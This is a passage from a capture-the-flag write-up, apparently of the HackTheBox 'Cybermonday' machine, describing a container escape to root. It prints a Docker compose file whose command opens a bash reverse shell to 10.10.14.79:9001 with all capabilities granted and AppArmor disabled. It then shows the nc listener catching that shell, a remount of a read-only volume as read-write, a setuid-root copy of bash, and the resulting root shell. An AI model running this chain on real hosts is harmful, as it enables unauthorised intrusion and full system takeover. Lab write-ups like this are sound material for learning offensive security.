mount: /toto: cannot mount /dev/sda1 read-only.
       dmesg(1) may have more information after failed mount system call.

Since we have raw access to the block device /dev/sda1 - We don’t actually need to mount it to read its contents

We can use debugfs, an interactive file system debugger, to browse the unmounted block device directly

alt text

alt text

2 - Capabilities + AppArmor

But we want a shell so we can grant our container all capabilities and play with SetUID on /bin/bash

Check this github issue

In our previous attempts, we noticed that even with SYS_ADMIN capabilities, standard mount operations were failing or behaving inconsistently

Research into Docker error messages suggests that AppArmor is the hidden layer preventing us from modifying mount points, even when we are root inside the container.

1
2
3
4
5
6
7
8
9
10
11
12
13
version: "3"
services:
  web:
    image: cybermonday_api
    command: bash -c 'bash -i >& /dev/tcp/10.10.14.79/9001 0>&1'

    volumes:
      - /home/john:/john:ro

    cap_add:
      - ALL
    security_opt:
      - apparmor:unconfined

By disabling AppArmor and granting full capabilities, we can bypass the :ro restriction and get a shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
john@cybermonday:~$ cat safe.yml

version: "3"
services:
  web:
    image: cybermonday_api
    command: bash -c 'bash -i >& /dev/tcp/10.10.14.79/9001 0>&1'

    volumes:
      - /home/john:/john:ro

    cap_add:
      - ALL
    security_opt:
      - apparmor:unconfined

john@cybermonday:~$ cp /bin/bash ~/toto

john@cybermonday:~$ sudo /opt/secure_compose.py safe.yml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
nc -lvnp 9001

Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.129.229.35.
Ncat: Connection from 10.129.229.35:39258.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@49c15e950d4a:/var/www/html# mount -o remount,rw /john

root@49c15e950d4a:/var/www/html# chown root:root /john/toto

root@49c15e950d4a:/var/www/html# chmod 6777 /john/toto

alt text

1
2
3
4
5
6
7
8
9
toto-5.1# python3 -c 'import os; os.setuid(0); os.setgid(0); os.system("/bin/bash")'

root@cybermonday:~# id

uid=0(root) gid=0(root) groups=0(root),1000(john)

root@cybermonday:~# ls /root

cybermonday  root.txt

Bingo !!

yay

If you have any questions, you can dm me on twitter or on discord at : ‘ethicxz.’

This post is licensed under CC BY 4.0 by the author.